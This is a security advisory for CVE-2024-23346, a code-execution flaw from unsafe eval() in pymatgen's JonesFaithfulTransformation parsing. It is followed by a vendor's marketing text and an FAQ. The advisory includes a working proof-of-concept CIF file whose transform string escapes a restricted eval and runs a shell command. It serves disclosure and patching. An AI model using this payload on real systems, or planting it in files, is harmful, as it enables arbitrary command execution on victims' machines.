Summary
pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string
A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.
Details
The cause of the vulnerability is in pymatgen/symmetry/settings.py#L97C1-L111C108. The flawed code segment involves a regular expression operation followed by the use of eval().
Vulnerable code
basis_change = [
re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])
The use of eval, even with __builtins__ set to None, is still a security risk. The BuiltinImporter class can be recovered with subclass traversal.
PoC
The vulnerability can be exploited as follows:
Create a file vuln.cif with the following contents:
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Then, parse the cif file with the following code:
from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()
Credits
This vulnerability was found and disclosed by William Khem-Marquez.
Impact
Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.
CVE-2024-23346 has a CVSS score of 9.3 (Critical). The vector is requires local access, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2024.2.20); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2024-23346? CVE-2024-23346 is a critical-severity command injection vulnerability in pymatgen (pip), affecting versions < 2024.2.20. It is fixed in 2024.2.20. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
- How severe is CVE-2024-23346? CVE-2024-23346 has a CVSS score of 9.3 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of pymatgen are affected by CVE-2024-23346? pymatgen (pip) versions < 2024.2.20 is affected.
- Is there a fix for CVE-2024-23346? Yes. CVE-2024-23346 is fixed in 2024.2.20. Upgrade to this version or later.
- Is CVE-2024-23346 exploitable, and should I be worried? Whether CVE-2024-23346 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-23346 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-23346? Upgrade
pymatgento 2024.2.20 or later.